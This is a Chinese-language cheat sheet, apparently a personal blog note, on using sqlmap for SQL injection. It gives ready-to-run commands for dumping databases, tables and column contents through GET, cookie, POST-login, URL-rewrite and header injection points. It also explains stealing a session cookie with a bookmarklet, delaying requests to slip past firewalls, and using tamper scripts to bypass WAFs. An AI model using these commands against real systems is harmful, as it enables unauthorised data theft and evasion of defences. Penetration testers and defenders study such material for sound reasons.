sql注入攻擊sqlmap-2

  • 2020 年 3 月 10 日
  • 筆記

sql注入攻擊sqlmap-2

cn0sec 2020-02-28

access注入

sqlmap.py -u "url"    ==檢測    sqlmap.py -u "url" --tables     ==猜表    sqlmap.py -u "url" --columns -T "表名"       ==猜欄位    sqlmap.py -u "url" --dump -T "表名" -C "欄位,欄位"     ==暴表裡面的欄位的內容  

Mysql數據注入

sqlmap.py -u url  --privileg  ==查看許可權(root什麼什麼的)    sqlmap.py -u url --is-dba  ==判斷是不是root許可權    sqlmap.py -u url --dbs   ==獲取資料庫    sqlmap.py -u url --tables -D "資料庫名"     ==獲取當中的資料庫的表    sqlmap.py -u url --columns -D "資料庫名" -T "表名"   ==獲取資料庫 表中的欄位    sqlmap.py -u url --dump -D "資料庫名" -T "表名" -C "欄位,欄位"  ==獲取資料庫表的欄位里的內容  

Cookie注入

注入點:http://xxx.com/1.php?id=9    sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --table --level 2    ==暴表名    sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --columns -T "表名" --level 2  ==暴表的欄位    sqlmap.py -u "http://xxx.com/1.php?id=9" --cookie "id=9" --dump -T "表名" -C "欄位,欄位" --level 2 ==暴表的欄位內容  

默認情況下SQLMAP只支援GET/POST參數的注入測試,但是當使用–level 參數且數值>=2的時候也會檢查cookie的參數,當>=3的時候將檢查User-agentReferer。 利用sqlmap cookies注入突破用戶登錄繼續注入 先把用戶登陸的cookie拿到,可以在收藏夾添加一個鏈接cookies屬性:名字自己取 javascript:alert(document.cookie),需要獲取當前cookie的時候, 直接點一下這個鏈接,然後複製一下彈出對話框 里的cookie值就搞定了

在Google瀏覽器,按F12-->找到Application-->選擇其中的Cookies-->最後可以在裡面找到對應的值可以了。

sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=」info=username=test」  

-p是指指定參數注入

post登陸注入 mssql

sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345"    sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs  ==獲取資料庫名    sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "資料庫名"   ==列表    sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表名" -D "資料庫名"  ==暴欄位    sqlmap.py -u "http://xxx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "欄位,欄位" -T "表" -D "數據名"  ==暴欄位內容  

我們在使用Sqlmap進行post型注入時, 經常會出現請求遺漏導致注入失敗的情況。這裡分享一個小技巧,即結合burpsuite來使用sqlmap, 用這種方法進行post注入測試會更準確,操作起來也非常容易。

1. 瀏覽器打開目標地址http:// www.xxx.com /Login.asp  2. 配置burp代理以攔截請求  3. 點擊login表單的submit按鈕  4. 這時候Burp會攔截到了我們的登錄POST請求  5. 把這個post請求複製為txt,然後把它放至sqlmap目錄下  6. 運行sqlmap並使用如下命令:`./sqlmap.py -r search-test.txt -p tfUPass`  這裡參數-r 是讓sqlmap載入我們的post請求rsearch-test.txt, 而用-p指定注入用的參數。  

偽靜態注入

注入點:http://xxx.com/Index/view/id/40.html   (注意:要加個* 哪裡存在注入就加上 * 號)    sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dbs   ==獲取資料庫名    sqlmap.py -u http://xxx.com/Index/view/id/40*.html --tables -D "數據名"    ==獲取資料庫當中的表    sqlmap.py -u http://xxx.com/Index/view/id/40*.html --columns -D "數據名" -T "表名"  ==獲取資料庫的表中的欄位    sqlmap.py -u http://xxx.com/Index/view/id/40*.html --dump -D "數據名" -T "表名" -C "欄位,欄位" ==獲取資料庫的表中的欄位內容  

請求延時(一般突破防火牆)

第一種方法:sqlmap.py -u url --delay 2   (注意:2是兩秒的意思,也就是說2秒訪問一次)  第二種方法:sqlmap.py -u url --safe-freq 3 (注意:3是3次的意思)    可以組合使用 sqlmap.py -u url --delay 2 --safe-freq 3  

利用文件來注入

GET /?id=1 HTTP/1.1  Host: www.why25.com    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0    x-forwarded-for: 1*(存在注入)    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3    Accept-Encoding: gzip, deflate    Cookie: PHPSESSID=109b6bcfd7ec056764c71aa62a4d6638    Connection: keep-alive    Cache-Control: max-age=0    星號(*) 指定注入點  
sqlmap -r c:/s.txt --level 3 --dbms=mysql --risk 1  注意:  --level 是測試等級意思就是說我要更加耐心仔仔細細的加強檢測等級3 如果沒有level 默認等級是1的  

sqlmap遇到url重寫的注入

sqlmap.py -u 「http://www.xxx.com/id1/1*/id2/2「  哪裡存在注入就加上 * 號  

sqlmap 編碼繞waf注入

sqlmap.py -u http://xxx.com/1.php?id=1 -v 3 –dbms 「MySQL」 –technique U -p id –batch –tamper 「space2morehash.py」  

在sqlmap 的 tamper目錄下有很多space2morehash.py 編碼腳本自行載入

sqlmap編碼腳本

sqlmap擁有很多功能強力的插件,插件的使用方法: -- tamper 「插件名稱」

其中常用到的bypass腳本繞過SQLMAP主要兩個腳本:  space2hash.py ,對於MYSQL資料庫 4.0, 5.0注入  space2morehash.py ,對於MYSQL資料庫 >= 5.1.13 和 MySQL 5.1.41 注入  首先確定目標資料庫版本,然後選擇相應的腳本。  -v 3 --batch --tamper "space2hash.py"  還有其他一些插件:  encodes編碼 ——charencode.py  base64編碼 —— base64encode.py  替換空格和關鍵字 —— halfversionedmorekeywords.py  

SQL注入實質就是閉合前一句查詢語句,構造惡意語句,惡意語句被代入SQL語句執行。